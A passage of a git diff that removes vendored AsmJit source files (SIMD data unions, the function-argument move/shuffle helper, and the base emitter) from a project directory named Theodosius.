64-bit signed integers. - inline void setI64(int64_t x0, int64_t x1) noexcept { - sq[0] = x0; sq[1] = x1; - } - - //! Sets all two 64-bit unsigned integers. - inline void setU64(uint64_t x0, uint64_t x1) noexcept { - uq[0] = x0; uq[1] = x1; - } - - //! Sets all four SP-FP floats. - inline void setF32(float x0) noexcept { - sf[0] = x0; sf[1] = x0; sf[2] = x0; sf[3] = x0; - } - - //! Sets all four SP-FP floats. - inline void setF32(float x0, float x1, float x2, float x3) noexcept { - sf[0] = x0; sf[1] = x1; sf[2] = x2; sf[3] = x3; - } - - //! Sets all two DP-FP floats. - inline void setF64(double x0) noexcept { - df[0] = x0; df[1] = x0; - } - - //! Sets all two DP-FP floats. - inline void setF64(double x0, double x1) noexcept { - df[0] = x0; df[1] = x1; - } -}; - -// ============================================================================ -// [asmjit::Data256] -// ============================================================================ - -//! 256-bit data useful for creating SIMD constants. -union ASMJIT_DEPRECATED_STRUCT("Data256 is deprecated and will be removed in the future") Data256 { - //! Array of thirty two 8-bit signed integers. - int8_t sb[32]; - //! Array of thirty two 8-bit unsigned integers. - uint8_t ub[32]; - //! Array of sixteen 16-bit signed integers. - int16_t sw[16]; - //! Array of sixteen 16-bit unsigned integers. - uint16_t uw[16]; - //! Array of eight 32-bit signed integers. - int32_t sd[8]; - //! Array of eight 32-bit unsigned integers. - uint32_t ud[8]; - //! Array of four 64-bit signed integers. - int64_t sq[4]; - //! Array of four 64-bit unsigned integers. - uint64_t uq[4]; - - //! Array of eight 32-bit single precision floating points. - float sf[8]; - //! Array of four 64-bit double precision floating points. - double df[4]; - - //! \name Construction & Destruction - //! \{ - - //! Sets all thirty two 8-bit signed integers. - static inline Data256 fromI8(int8_t x0) noexcept { - Data256 self; - self.setI8(x0); - return self; - } - - //! Sets all thirty two 8-bit unsigned integers. - static inline Data256 fromU8(uint8_t x0) noexcept { - Data256 self; - self.setU8(x0); - return self; - } - - //! Sets all thirty two 8-bit signed integers. - static inline Data256 fromI8( - int8_t x0 , int8_t x1 , int8_t x2 , int8_t x3 , - int8_t x4 , int8_t x5 , int8_t x6 , int8_t x7 , - int8_t x8 , int8_t x9 , int8_t x10, int8_t x11, - int8_t x12, int8_t x13, int8_t x14, int8_t x15, - int8_t x16, int8_t x17, int8_t x18, int8_t x19, - int8_t x20, int8_t x21, int8_t x22, int8_t x23, - int8_t x24, int8_t x25, int8_t x26, int8_t x27, - int8_t x28, int8_t x29, int8_t x30, int8_t x31) noexcept { - - Data256 self; - self.setI8( - x0, x1 , x2 , x3 , x4 , x5 , x6 , x7 , x8 , x9 , x10, x11, x12, x13, x14, x15, - x16, x17, x18, x19, x20, x21, x22, x23, x24, x25, x26, x27, x28, x29, x30, x31); - return self; - } - - //! Sets all thirty two 8-bit unsigned integers. - static inline Data256 fromU8( - uint8_t x0 , uint8_t x1 , uint8_t x2 , uint8_t x3 , - uint8_t x4 , uint8_t x5 , uint8_t x6 , uint8_t x7 , - uint8_t x8 , uint8_t x9 , uint8_t x10, uint8_t x11, - uint8_t x12, uint8_t x13, uint8_t x14, uint8_t x15, - uint8_t x16, uint8_t x17, uint8_t x18, uint8_t x19, - uint8_t x20, uint8_t x21, uint8_t x22, uint8_t x23, - uint8_t x24, uint8_t x25, uint8_t x26, uint8_t x27, - uint8_t x28, uint8_t x29, uint8_t x30, uint8_t x31) noexcept { - - Data256 self; - self.setU8( - x0, x1 , x2 , x3 , x4 , x5 , x6 , x7 , x8 , x9 , x10, x11, x12, x13, x14, x15, - x16, x17, x18, x19, x20, x21, x22, x23, x24, x25, x26, x27, x28, x29, x30, x31); - return self; - } - - //! Sets all sixteen 16-bit signed integers. - static inline Data256 fromI16(int16_t x0) noexcept { - Data256 self; - self.setI16(x0); - return self; - } - - //! Sets all sixteen 16-bit unsigned integers. - static inline Data256 fromU16(uint16_t x0) noexcept { - Data256 self; - self.setU16(x0); - return self; - } - - //! Sets all sixteen 16-bit signed integers. - static inline Data256 fromI16( - int16_t x0, int16_t x1, int16_t x2 , int16_t x3 , int16_t x4 , int16_t x5 , int16_t x6 , int16_t x7 , - int16_t x8, int16_t x9, int16_t x10, int16_t x11, int16_t x12, int16_t x13, int16_t x14, int16_t x15) noexcept { - - Data256 self; - self.setI16(x0, x1, x2, x3, x4, x5, x6, x7, x8, x9, x10, x11, x12, x13, x14, x15); - return self; - } - - //! Sets all sixteen 16-bit unsigned integers. - static inline Data256 fromU16( - uint16_t x0, uint16_t x1, uint16_t x2 , uint16_t x3 , uint16_t x4 , uint16_t x5 , uint16_t x6 , uint16_t x7 , - uint16_t x8, uint16_t x9, uint16_t x10, uint16_t x11, uint16_t x12, uint16_t x13, uint16_t x14, uint16_t x15) noexcept { - - Data256 self; - self.setU16(x0, x1, x2, x3, x4, x5, x6, x7, x8, x9, x10, x11, x12, x13, x14, x15); - return self; - } - - //! Sets all eight 32-bit signed integers. - static inline Data256 fromI32(int32_t x0) noexcept { - Data256 self; - self.setI32(x0); - return self; - } - - //! Sets all eight 32-bit unsigned integers. - static inline Data256 fromU32(uint32_t x0) noexcept { - Data256 self; - self.setU32(x0); - return self; - } - - //! Sets all eight 32-bit signed integers. - static inline Data256 fromI32( - int32_t x0, int32_t x1, int32_t x2, int32_t x3, - int32_t x4, int32_t x5, int32_t x6, int32_t x7) noexcept { - - Data256 self; - self.setI32(x0, x1, x2, x3, x4, x5, x6, x7); - return self; - } - - //! Sets all eight 32-bit unsigned integers. - static inline Data256 fromU32( - uint32_t x0, uint32_t x1, uint32_t x2, uint32_t x3, - uint32_t x4, uint32_t x5, uint32_t x6, uint32_t x7) noexcept { - - Data256 self; - self.setU32(x0, x1, x2, x3, x4, x5, x6, x7); - return self; - } - - //! Sets all four 64-bit signed integers. - static inline Data256 fromI64(int64_t x0) noexcept { - Data256 self; - self.setI64(x0); - return self; - } - - //! Sets all four 64-bit unsigned integers. - static inline Data256 fromU64(uint64_t x0) noexcept { - Data256 self; - self.setU64(x0); - return self; - } - - //! Sets all four 64-bit signed integers. - static inline Data256 fromI64(int64_t x0, int64_t x1, int64_t x2, int64_t x3) noexcept { - Data256 self; - self.setI64(x0, x1, x2, x3); - return self; - } - - //! Sets all four 64-bit unsigned integers. - static inline Data256 fromU64(uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3) noexcept { - Data256 self; - self.setU64(x0, x1, x2, x3); - return self; - } - - //! Sets all eight SP-FP floats. - static inline Data256 fromF32(float x0) noexcept { - Data256 self; - self.setF32(x0); - return self; - } - - //! Sets all eight SP-FP floats. - static inline Data256 fromF32( - float x0, float x1, float x2, float x3, - float x4, float x5, float x6, float x7) noexcept { - - Data256 self; - self.setF32(x0, x1, x2, x3, x4, x5, x6, x7); - return self; - } - - //! Sets all four DP-FP floats. - static inline Data256 fromF64(double x0) noexcept { - Data256 self; - self.setF64(x0); - return self; - } - - //! Sets all four DP-FP floats. - static inline Data256 fromF64(double x0, double x1, double x2, double x3) noexcept { - Data256 self; - self.setF64(x0, x1, x2, x3); - return self; - } - - //! \} - - //! \name Accessors - //! \{ - - //! Sets all thirty two 8-bit signed integers. - inline void setI8(int8_t x0) noexcept { - setU8(uint8_t(x0)); - } - - //! Sets all thirty two 8-bit unsigned integers. - inline void setU8(uint8_t x0) noexcept { - if (ASMJIT_ARCH_BITS >= 64) { - uint64_t xq = uint64_t(x0) * 0x0101010101010101u; - uq[0] = xq; - uq[1] = xq; - uq[2] = xq; - uq[3] = xq; - } - else { - uint32_t xd = uint32_t(x0) * 0x01010101u; - ud[0] = xd; - ud[1] = xd; - ud[2] = xd; - ud[3] = xd; - ud[4] = xd; - ud[5] = xd; - ud[6] = xd; - ud[7] = xd; - } - } - - //! Sets all thirty two 8-bit signed integers. - inline void setI8( - int8_t x0 , int8_t x1 , int8_t x2 , int8_t x3 , - int8_t x4 , int8_t x5 , int8_t x6 , int8_t x7 , - int8_t x8 , int8_t x9 , int8_t x10, int8_t x11, - int8_t x12, int8_t x13, int8_t x14, int8_t x15, - int8_t x16, int8_t x17, int8_t x18, int8_t x19, - int8_t x20, int8_t x21, int8_t x22, int8_t x23, - int8_t x24, int8_t x25, int8_t x26, int8_t x27, - int8_t x28, int8_t x29, int8_t x30, int8_t x31) noexcept { - - sb[0 ] = x0 ; sb[1 ] = x1 ; sb[2 ] = x2 ; sb[3 ] = x3 ; - sb[4 ] = x4 ; sb[5 ] = x5 ; sb[6 ] = x6 ; sb[7 ] = x7 ; - sb[8 ] = x8 ; sb[9 ] = x9 ; sb[10] = x10; sb[11] = x11; - sb[12] = x12; sb[13] = x13; sb[14] = x14; sb[15] = x15; - sb[16] = x16; sb[17] = x17; sb[18] = x18; sb[19] = x19; - sb[20] = x20; sb[21] = x21; sb[22] = x22; sb[23] = x23; - sb[24] = x24; sb[25] = x25; sb[26] = x26; sb[27] = x27; - sb[28] = x28; sb[29] = x29; sb[30] = x30; sb[31] = x31; - } - - //! Sets all thirty two 8-bit unsigned integers. - inline void setU8( - uint8_t x0 , uint8_t x1 , uint8_t x2 , uint8_t x3 , - uint8_t x4 , uint8_t x5 , uint8_t x6 , uint8_t x7 , - uint8_t x8 , uint8_t x9 , uint8_t x10, uint8_t x11, - uint8_t x12, uint8_t x13, uint8_t x14, uint8_t x15, - uint8_t x16, uint8_t x17, uint8_t x18, uint8_t x19, - uint8_t x20, uint8_t x21, uint8_t x22, uint8_t x23, - uint8_t x24, uint8_t x25, uint8_t x26, uint8_t x27, - uint8_t x28, uint8_t x29, uint8_t x30, uint8_t x31) noexcept { - - ub[0 ] = x0 ; ub[1 ] = x1 ; ub[2 ] = x2 ; ub[3 ] = x3 ; - ub[4 ] = x4 ; ub[5 ] = x5 ; ub[6 ] = x6 ; ub[7 ] = x7 ; - ub[8 ] = x8 ; ub[9 ] = x9 ; ub[10] = x10; ub[11] = x11; - ub[12] = x12; ub[13] = x13; ub[14] = x14; ub[15] = x15; - ub[16] = x16; ub[17] = x17; ub[18] = x18; ub[19] = x19; - ub[20] = x20; ub[21] = x21; ub[22] = x22; ub[23] = x23; - ub[24] = x24; ub[25] = x25; ub[26] = x26; ub[27] = x27; - ub[28] = x28; ub[29] = x29; ub[30] = x30; ub[31] = x31; - } - - //! Sets all sixteen 16-bit signed integers. - inline void setI16(int16_t x0) noexcept { - setU16(uint16_t(x0)); - } - - //! Sets all eight 16-bit unsigned integers. - inline void setU16(uint16_t x0) noexcept { - if (ASMJIT_ARCH_BITS >= 64) { - uint64_t xq = uint64_t(x0) * 0x0001000100010001u; - uq[0] = xq; - uq[1] = xq; - uq[2] = xq; - uq[3] = xq; - } - else { - uint32_t xd = uint32_t(x0) * 0x00010001u; - ud[0] = xd; - ud[1] = xd; - ud[2] = xd; - ud[3] = xd; - ud[4] = xd; - ud[5] = xd; - ud[6] = xd; - ud[7] = xd; - } - } - - //! Sets all sixteen 16-bit signed integers. - inline void setI16( - int16_t x0, int16_t x1, int16_t x2 , int16_t x3 , int16_t x4 , int16_t x5 , int16_t x6 , int16_t x7, - int16_t x8, int16_t x9, int16_t x10, int16_t x11, int16_t x12, int16_t x13, int16_t x14, int16_t x15) noexcept { - - sw[0 ] = x0 ; sw[1 ] = x1 ; sw[2 ] = x2 ; sw[3 ] = x3 ; - sw[4 ] = x4 ; sw[5 ] = x5 ; sw[6 ] = x6 ; sw[7 ] = x7 ; - sw[8 ] = x8 ; sw[9 ] = x9 ; sw[10] = x10; sw[11] = x11; - sw[12] = x12; sw[13] = x13; sw[14] = x14; sw[15] = x15; - } - - //! Sets all sixteen 16-bit unsigned integers. - inline void setU16( - uint16_t x0, uint16_t x1, uint16_t x2 , uint16_t x3 , uint16_t x4 , uint16_t x5 , uint16_t x6 , uint16_t x7, - uint16_t x8, uint16_t x9, uint16_t x10, uint16_t x11, uint16_t x12, uint16_t x13, uint16_t x14, uint16_t x15) noexcept { - - uw[0 ] = x0 ; uw[1 ] = x1 ; uw[2 ] = x2 ; uw[3 ] = x3 ; - uw[4 ] = x4 ; uw[5 ] = x5 ; uw[6 ] = x6 ; uw[7 ] = x7 ; - uw[8 ] = x8 ; uw[9 ] = x9 ; uw[10] = x10; uw[11] = x11; - uw[12] = x12; uw[13] = x13; uw[14] = x14; uw[15] = x15; - } - - //! Sets all eight 32-bit signed integers. - inline void setI32(int32_t x0) noexcept { - setU32(uint32_t(x0)); - } - - //! Sets all eight 32-bit unsigned integers. - inline void setU32(uint32_t x0) noexcept { - if (ASMJIT_ARCH_BITS >= 64) { - uint64_t xq = (uint64_t(x0) << 32) + x0; - uq[0] = xq; - uq[1] = xq; - uq[2] = xq; - uq[3] = xq; - } - else { - ud[0] = x0; - ud[1] = x0; - ud[2] = x0; - ud[3] = x0; - ud[4] = x0; - ud[5] = x0; - ud[6] = x0; - ud[7] = x0; - } - } - - //! Sets all eight 32-bit signed integers. - inline void setI32( - int32_t x0, int32_t x1, int32_t x2, int32_t x3, - int32_t x4, int32_t x5, int32_t x6, int32_t x7) noexcept { - - sd[0] = x0; sd[1] = x1; sd[2] = x2; sd[3] = x3; - sd[4] = x4; sd[5] = x5; sd[6] = x6; sd[7] = x7; - } - - //! Sets all eight 32-bit unsigned integers. - inline void setU32( - uint32_t x0, uint32_t x1, uint32_t x2, uint32_t x3, - uint32_t x4, uint32_t x5, uint32_t x6, uint32_t x7) noexcept { - - ud[0] = x0; ud[1] = x1; ud[2] = x2; ud[3] = x3; - ud[4] = x4; ud[5] = x5; ud[6] = x6; ud[7] = x7; - } - - //! Sets all four 64-bit signed integers. - inline void setI64(int64_t x0) noexcept { - sq[0] = x0; sq[1] = x0; sq[2] = x0; sq[3] = x0; - } - - //! Sets all four 64-bit unsigned integers. - inline void setU64(uint64_t x0) noexcept { - uq[0] = x0; uq[1] = x0; uq[2] = x0; uq[3] = x0; - } - - //! Sets all four 64-bit signed integers. - inline void setI64(int64_t x0, int64_t x1, int64_t x2, int64_t x3) noexcept { - sq[0] = x0; sq[1] = x1; sq[2] = x2; sq[3] = x3; - } - - //! Sets all four 64-bit unsigned integers. - inline void setU64(uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3) noexcept { - uq[0] = x0; uq[1] = x1; uq[2] = x2; uq[3] = x3; - } - - //! Sets all eight SP-FP floats. - inline void setF32(float x0) noexcept { - sf[0] = x0; sf[1] = x0; sf[2] = x0; sf[3] = x0; - sf[4] = x0; sf[5] = x0; sf[6] = x0; sf[7] = x0; - } - - //! Sets all eight SP-FP floats. - inline void setF32( - float x0, float x1, float x2, float x3, - float x4, float x5, float x6, float x7) noexcept { - - sf[0] = x0; sf[1] = x1; sf[2] = x2; sf[3] = x3; - sf[4] = x4; sf[5] = x5; sf[6] = x6; sf[7] = x7; - } - - //! Sets all four DP-FP floats. - inline void setF64(double x0) noexcept { - df[0] = x0; df[1] = x0; df[2] = x0; df[3] = x0; - } - - //! Sets all four DP-FP floats. - inline void setF64(double x0, double x1, double x2, double x3) noexcept { - df[0] = x0; df[1] = x1; df[2] = x2; df[3] = x3; - } - - //! \} -}; - -ASMJIT_END_NAMESPACE - -#endif // !ASMJIT_NO_DEPRECATED -#endif // ASMJIT_CORE_DATATYPES_H_INCLUDED diff --git a/src/Theodosius/asmjit/core/emithelper.cpp b/src/Theodosius/asmjit/core/emithelper.cpp deleted file mode 100644 index a77211e..0000000 --- a/src/Theodosius/asmjit/core/emithelper.cpp +++ /dev/null @@ -1,351 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#include "../core/api-build_p.h" -#include "../core/archtraits.h" -#include "../core/emithelper_p.h" -#include "../core/formatter.h" -#include "../core/funcargscontext_p.h" -#include "../core/radefs_p.h" - -// Can be used for debugging... -// #define ASMJIT_DUMP_ARGS_ASSIGNMENT - -ASMJIT_BEGIN_NAMESPACE - -// ============================================================================ -// [asmjit::BaseEmitHelper - Formatting] -// ============================================================================ - -#ifdef ASMJIT_DUMP_ARGS_ASSIGNMENT -static void dumpFuncValue(String& sb, uint32_t arch, const FuncValue& value) noexcept { - Formatter::formatTypeId(sb, value.typeId()); - sb.append('@'); - - if (value.isIndirect()) - sb.append('['); - - if (value.isReg()) - Formatter::formatRegister(sb, 0, nullptr, arch, value.regType(), value.regId()); - else if (value.isStack()) - sb.appendFormat("[%d]", value.stackOffset()); - else - sb.append(""); - - if (value.isIndirect()) - sb.append(']'); -} - -static void dumpAssignment(String& sb, const FuncArgsContext& ctx) noexcept { - typedef FuncArgsContext::Var Var; - - uint32_t arch = ctx.arch(); - uint32_t varCount = ctx.varCount(); - - for (uint32_t i = 0; i < varCount; i++) { - const Var& var = ctx.var(i); - const FuncValue& dst = var.out; - const FuncValue& cur = var.cur; - - sb.appendFormat("Var%u: ", i); - dumpFuncValue(sb, arch, dst); - sb.append(" <- "); - dumpFuncValue(sb, arch, cur); - - if (var.isDone()) - sb.append(" {Done}"); - - sb.append('\n'); - } -} -#endif - -// ============================================================================ -// [asmjit::BaseEmitHelper - EmitArgsAssignment] -// ============================================================================ - -ASMJIT_FAVOR_SIZE Error BaseEmitHelper::emitArgsAssignment(const FuncFrame& frame, const FuncArgsAssignment& args) { - typedef FuncArgsContext::Var Var; - typedef FuncArgsContext::WorkData WorkData; - - enum WorkFlags : uint32_t { - kWorkNone = 0x00, - kWorkDidSome = 0x01, - kWorkPending = 0x02, - kWorkPostponed = 0x04 - }; - - uint32_t arch = frame.arch(); - const ArchTraits& archTraits = ArchTraits::byArch(arch); - - RAConstraints constraints; - FuncArgsContext ctx; - - ASMJIT_PROPAGATE(constraints.init(arch)); - ASMJIT_PROPAGATE(ctx.initWorkData(frame, args, &constraints)); - -#ifdef ASMJIT_DUMP_ARGS_ASSIGNMENT - { - String sb; - dumpAssignment(sb, ctx); - printf("%s\n", sb.data()); - } -#endif - - uint32_t varCount = ctx._varCount; - WorkData* workData = ctx._workData; - - uint32_t saVarId = ctx._saVarId; - BaseReg sp = BaseReg::fromSignatureAndId(_emitter->_gpRegInfo.signature(), archTraits.spRegId()); - BaseReg sa = sp; - - if (frame.hasDynamicAlignment()) { - if (frame.hasPreservedFP()) - sa.setId(archTraits.fpRegId()); - else - sa.setId(saVarId < varCount ? ctx._vars[saVarId].cur.regId() : frame.saRegId()); - } - - // -------------------------------------------------------------------------- - // Register to stack and stack to stack moves must be first as now we have - // the biggest chance of having as many as possible unassigned registers. - // -------------------------------------------------------------------------- - - if (ctx._stackDstMask) { - // Base address of all arguments passed by stack. - BaseMem baseArgPtr(sa, int32_t(frame.saOffset(sa.id()))); - BaseMem baseStackPtr(sp, 0); - - for (uint32_t varId = 0; varId < varCount; varId++) { - Var& var = ctx._vars[varId]; - - if (!var.out.isStack()) - continue; - - FuncValue& cur = var.cur; - FuncValue& out = var.out; - - ASMJIT_ASSERT(cur.isReg() || cur.isStack()); - BaseReg reg; - - BaseMem dstStackPtr = baseStackPtr.cloneAdjusted(out.stackOffset()); - BaseMem srcStackPtr = baseArgPtr.cloneAdjusted(cur.stackOffset()); - - if (cur.isIndirect()) { - if (cur.isStack()) { - // TODO: Indirect stack. - return DebugUtils::errored(kErrorInvalidAssignment); - } - else { - srcStackPtr.setBaseId(cur.regId()); - } - } - - if (cur.isReg() && !cur.isIndirect()) { - WorkData& wd = workData[archTraits.regTypeToGroup(cur.regType())]; - uint32_t rId = cur.regId(); - - reg.setSignatureAndId(archTraits.regTypeToSignature(cur.regType()), rId); - wd.unassign(varId, rId); - } - else { - // Stack to reg move - tricky since we move stack to stack we can decide which - // register to use. In general we follow the rule that IntToInt moves will use - // GP regs with possibility to signature or zero extend, and all other moves will - // either use GP or VEC regs depending on the size of the move. - RegInfo rInfo = getSuitableRegForMemToMemMove(arch, out.typeId(), cur.typeId()); - if (ASMJIT_UNLIKELY(!rInfo.isValid())) - return DebugUtils::errored(kErrorInvalidState); - - WorkData& wd = workData[rInfo.group()]; - uint32_t availableRegs = wd.availableRegs(); - if (ASMJIT_UNLIKELY(!availableRegs)) - return DebugUtils::errored(kErrorInvalidState); - - uint32_t rId = Support::ctz(availableRegs); - reg.setSignatureAndId(rInfo.signature(), rId); - - ASMJIT_PROPAGATE(emitArgMove(reg, out.typeId(), srcStackPtr, cur.typeId())); - } - - if (cur.isIndirect() && cur.isReg()) - workData[BaseReg::kGroupGp].unassign(varId, cur.regId()); - - // Register to stack move. - ASMJIT_PROPAGATE(emitRegMove(dstStackPtr, reg, cur.typeId())); - var.markDone(); - } - } - - // -------------------------------------------------------------------------- - // Shuffle all registers that are currently assigned accordingly to target - // assignment. - // -------------------------------------------------------------------------- - - uint32_t workFlags = kWorkNone; - for (;;) { - for (uint32_t varId = 0; varId < varCount; varId++) { - Var& var = ctx._vars[varId]; - if (var.isDone() || !var.cur.isReg()) - continue; - - FuncValue& cur = var.cur; - FuncValue& out = var.out; - - uint32_t curGroup = archTraits.regTypeToGroup(cur.regType()); - uint32_t outGroup = archTraits.regTypeToGroup(out.regType()); - - uint32_t curId = cur.regId(); - uint32_t outId = out.regId(); - - if (curGroup != outGroup) { - // TODO: Conversion is not supported. - return DebugUtils::errored(kErrorInvalidAssignment); - } - else { - WorkData& wd = workData[outGroup]; - if (!wd.isAssigned(outId)) { -EmitMove: - ASMJIT_PROPAGATE( - emitArgMove( - BaseReg::fromSignatureAndId(archTraits.regTypeToSignature(out.regType()), outId), out.typeId(), - BaseReg::fromSignatureAndId(archTraits.regTypeToSignature(cur.regType()), curId), cur.typeId())); - - wd.reassign(varId, outId, curId); - cur.initReg(out.regType(), outId, out.typeId()); - - if (outId == out.regId()) - var.markDone(); - workFlags |= kWorkDidSome | kWorkPending; - } - else { - uint32_t altId = wd._physToVarId[outId]; - Var& altVar = ctx._vars[altId]; - - if (!altVar.out.isInitialized() || (altVar.out.isReg() && altVar.out.regId() == curId)) { - // Only few architectures provide swap operations, and only for few register groups. - if (archTraits.hasSwap(curGroup)) { - uint32_t highestType = Support::max(cur.regType(), altVar.cur.regType()); - if (Support::isBetween(highestType, BaseReg::kTypeGp8Lo, BaseReg::kTypeGp16)) - highestType = BaseReg::kTypeGp32; - - uint32_t signature = archTraits.regTypeToSignature(highestType); - ASMJIT_PROPAGATE( - emitRegSwap(BaseReg::fromSignatureAndId(signature, outId), - BaseReg::fromSignatureAndId(signature, curId))); - wd.swap(varId, curId, altId, outId); - cur.setRegId(outId); - var.markDone(); - altVar.cur.setRegId(curId); - - if (altVar.out.isInitialized()) - altVar.markDone(); - workFlags |= kWorkDidSome; - } - else { - // If there is a scratch register it can be used to perform the swap. - uint32_t availableRegs = wd.availableRegs(); - if (availableRegs) { - uint32_t inOutRegs = wd.dstRegs(); - if (availableRegs & ~inOutRegs) - availableRegs &= ~inOutRegs; - outId = Support::ctz(availableRegs); - goto EmitMove; - } - else { - workFlags |= kWorkPending; - } - } - } - else { - workFlags |= kWorkPending; - } - } - } - } - - if (!(workFlags & kWorkPending)) - break; - - // If we did nothing twice it means that something is really broken. - if ((workFlags & (kWorkDidSome | kWorkPostponed)) == kWorkPostponed) - return DebugUtils::errored(kErrorInvalidState); - - workFlags = (workFlags & kWorkDidSome) ? kWorkNone : kWorkPostponed; - } - - // -------------------------------------------------------------------------- - // Load arguments passed by stack into registers. This is pretty simple and - // it never requires multiple iterations like the previous phase. - // -------------------------------------------------------------------------- - - if (ctx._hasStackSrc) { - uint32_t iterCount = 1; - if (frame.hasDynamicAlignment() && !frame.hasPreservedFP()) - sa.setId(saVarId < varCount ? ctx._vars[saVarId].cur.regId() : frame.saRegId()); - - // Base address of all arguments passed by stack. - BaseMem baseArgPtr(sa, int32_t(frame.saOffset(sa.id()))); - - for (uint32_t iter = 0; iter < iterCount; iter++) { - for (uint32_t varId = 0; varId < varCount; varId++) { - Var& var = ctx._vars[varId]; - if (var.isDone()) - continue; - - if (var.cur.isStack()) { - ASMJIT_ASSERT(var.out.isReg()); - - uint32_t outId = var.out.regId(); - uint32_t outType = var.out.regType(); - - uint32_t group = archTraits.regTypeToGroup(outType); - WorkData& wd = ctx._workData[group]; - - if (outId == sa.id() && group == BaseReg::kGroupGp) { - // This register will be processed last as we still need `saRegId`. - if (iterCount == 1) { - iterCount++; - continue; - } - wd.unassign(wd._physToVarId[outId], outId); - } - - BaseReg dstReg = BaseReg::fromSignatureAndId(archTraits.regTypeToSignature(outType), outId); - BaseMem srcMem = baseArgPtr.cloneAdjusted(var.cur.stackOffset()); - - ASMJIT_PROPAGATE(emitArgMove( - dstReg, var.out.typeId(), - srcMem, var.cur.typeId())); - - wd.assign(varId, outId); - var.cur.initReg(outType, outId, var.cur.typeId(), FuncValue::kFlagIsDone); - } - } - } - } - - return kErrorOk; -} - -ASMJIT_END_NAMESPACE diff --git a/src/Theodosius/asmjit/core/emithelper_p.h b/src/Theodosius/asmjit/core/emithelper_p.h deleted file mode 100644 index cb8ddf0..0000000 --- a/src/Theodosius/asmjit/core/emithelper_p.h +++ /dev/null @@ -1,83 +0,0 @@ - -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#ifndef ASMJIT_CORE_EMITHELPER_P_H_INCLUDED -#define ASMJIT_CORE_EMITHELPER_P_H_INCLUDED - -#include "../core/emitter.h" -#include "../core/operand.h" -#include "../core/type.h" - -ASMJIT_BEGIN_NAMESPACE - -//! \cond INTERNAL -//! \addtogroup asmjit_core -//! \{ - -// ============================================================================ -// [asmjit::BaseEmitHelper] -// ============================================================================ - -//! Helper class that provides utilities for each supported architecture. -class BaseEmitHelper { -public: - BaseEmitter* _emitter; - - inline explicit BaseEmitHelper(BaseEmitter* emitter = nullptr) noexcept - : _emitter(emitter) {} - - inline BaseEmitter* emitter() const noexcept { return _emitter; } - inline void setEmitter(BaseEmitter* emitter) noexcept { _emitter = emitter; } - - //! Emits a pure move operation between two registers or the same type or - //! between a register and its home slot. This function does not handle - //! register conversion. - virtual Error emitRegMove( - const Operand_& dst_, - const Operand_& src_, uint32_t typeId, const char* comment = nullptr) = 0; - - //! Emits swap between two registers. - virtual Error emitRegSwap( - const BaseReg& a, - const BaseReg& b, const char* comment = nullptr) = 0; - - //! Emits move from a function argument (either register or stack) to a register. - //! - //! This function can handle the necessary conversion from one argument to - //! another, and from one register type to another, if it's possible. Any - //! attempt of conversion that requires third register of a different group - //! (for example conversion from K to MMX on X86/X64) will fail. - virtual Error emitArgMove( - const BaseReg& dst_, uint32_t dstTypeId, - const Operand_& src_, uint32_t srcTypeId, const char* comment = nullptr) = 0; - - Error emitArgsAssignment(const FuncFrame& frame, const FuncArgsAssignment& args); -}; - -//! \} -//! \endcond - -ASMJIT_END_NAMESPACE - -#endif // ASMJIT_CORE_EMITHELPER_P_H_INCLUDED diff --git a/src/Theodosius/asmjit/core/emitter.cpp b/src/Theodosius/asmjit/core/emitter.cpp deleted file mode 100644 index f684140..0000000 --- a/src/Theodosius/asmjit/core/emitter.cpp +++ /dev/null @@ -1,416 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#include "../core/api-build_p.h" -#include "../core/emitterutils_p.h" -#include "../core/errorhandler.h" -#include "../core/logger.h" -#include "../core/support.h" - -#ifdef ASMJIT_BUILD_X86 - #include "../x86/x86emithelper_p.h" - #include "../x86/x86instdb_p.h" -#endif // ASMJIT_BUILD_X86 - -#ifdef ASMJIT_BUILD_ARM - #include "../arm/a64emithelper_p.h" - #include "../arm/a64instdb.h" -#endif // ASMJIT_BUILD_ARM - -ASMJIT_BEGIN_NAMESPACE - -// ============================================================================ -// [asmjit::BaseEmitter - Construction / Destruction] -// ============================================================================ - -BaseEmitter::BaseEmitter(uint32_t emitterType) noexcept - : _emitterType(uint8_t(emitterType)) {} - -BaseEmitter::~BaseEmitter() noexcept { - if (_code) { - _addEmitterFlags(kFlagDestroyed); - _code->detach(this); - } -} - -// ============================================================================ -// [asmjit::BaseEmitter - Finalize] -// ============================================================================ - -Error BaseEmitter::finalize() { - // Does nothing by default, overridden by `BaseBuilder` and `BaseCompiler`. - return kErrorOk; 